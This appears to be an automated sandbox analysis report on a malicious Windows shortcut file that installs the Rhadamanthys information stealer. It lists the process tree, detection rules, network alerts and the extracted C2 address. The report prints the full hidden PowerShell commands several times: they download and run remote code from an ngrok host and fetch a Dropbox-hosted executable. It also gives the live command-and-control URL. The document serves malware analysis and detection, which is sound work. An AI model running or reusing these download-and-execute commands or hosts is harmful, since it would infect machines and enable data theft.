Edit tour

Windows Analysis Report
IIC0XbKFjS.lnk

Overview

General Information

Sample name:	IIC0XbKFjS.lnk renamed because original name is a hash value
Original sample name:	39c977bba06879b884082e63185eb698c4512a6af48b9dc23cda346d7d91ce44.lnk
Analysis ID:	1576695
MD5:	49762c491b56e899a9d314d3260834e4
SHA1:	999198469e4f0cf6186779655b0231bb7225f5ae
SHA256:	39c977bba06879b884082e63185eb698c4512a6af48b9dc23cda346d7d91ce44
Tags:	Compilazioneprotetticopyrightlnkuser-JAMESWT_MHT
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected RHADAMANTHYS Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Maps a DLL or memory area into another process

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Powerup Write Hijack DLL

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows shortcut file (LNK) contains suspicious command line arguments

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Detected suspicious crossdomain redirect

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

cmd.exe (PID: 716 cmdline: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2276 cmdline: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 7656 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2104,i,12697092255008950767,14485644108292061206,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8760 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1357945884.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8836 cmdline: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }" MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 1372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\130e969b-e5c7-4340-a2cf-7f225f49c2e1.pdf MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2076,i,7269790282786459060,13954884580645098759,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe (PID: 9064 cmdline: "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe" MD5: 9BFDFAADE8C1612270DA2A69959756A7)

9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe (PID: 6852 cmdline: "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe" MD5: 9BFDFAADE8C1612270DA2A69959756A7)

fontdrvhost.exe (PID: 7412 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: 8D0DA0C5DCF1A14F9D65F5C0BEA53F3D)

fontdrvhost.exe (PID: 2276 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

WerFault.exe (PID: 3160 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6852 -s 420 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6072 cmdline: C:\Windows\system32\WerFault.exe -u -p 2276 -s 144 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 7796 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msedge.exe (PID: 7932 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 1008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8636 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8648 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6912 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 9048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 9060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8784 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7932 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2248 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7392 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:6 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8516 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6904 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search user.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Malware Configuration

Threatname: Rhadamanthys

{"C2 url": "https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000025.00000003.3117851872.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000026.00000002.3231480908.00000000035A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000026.00000003.3125312167.0000000003590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000025.00000002.3141369751.0000000003200000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000026.00000003.3129571735.00000000057F0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000026.00000003.3129285387.00000000055D0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe PID: 6852	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
37.3.9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.5600000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
38.3.fontdrvhost.exe.57f0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
38.3.fontdrvhost.exe.55d0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
37.3.9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.53e0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2276, TargetFilename: C:\Users\user\AppData\Local\Temp\1357945884.bat

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2276, TargetFilename: C:\Users\user\AppData\Local\Temp\1357945884.bat

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }", CommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1357945884.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef';

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), CommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), CommandLine|base64offset|contains: F,, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 716, ParentProcessName: cmd.exe, ProcessCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), ProcessId: 2276, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), CommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), ProcessId: 716, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), CommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), CommandLine|base64offset|contains: F,, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 716, ParentProcessName: cmd.exe, ProcessCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing), ProcessId: 2276, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7796, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T12:13:23.791057+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49758	162.125.65.18	443	TCP
2024-12-17T12:13:39.559507+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49858	162.125.65.18	443	TCP

ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T12:14:45.485008+0100	2854802	1	Domain Observed Used for C2 Detected	104.161.43.18	2845	192.168.2.6	50020	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 33.2.9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.2b4569a.1.unpack

Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk"}

Multi AV Scanner detection for submitted file

Source: IIC0XbKFjS.lnk

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: IIC0XbKFjS.lnk

Joe Sandbox ML: detected

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Unpacked PE file: 33.2.9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.4990000.2.unpack

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.18:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.18:443 -> 192.168.2.6:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.6:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.15:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50037 version: TLS 1.2

Source:	Binary string: softy.pdb source: powershell.exe, 00000016.00000002.3106650799.0000013E7F7BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbF source: powershell.exe, 00000016.00000002.3107657952.0000013E7F8A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000016.00000002.3105805863.000001367E1F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122900332.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123074773.0000000005500000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000016.00000002.3107075426.0000013E7F84D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
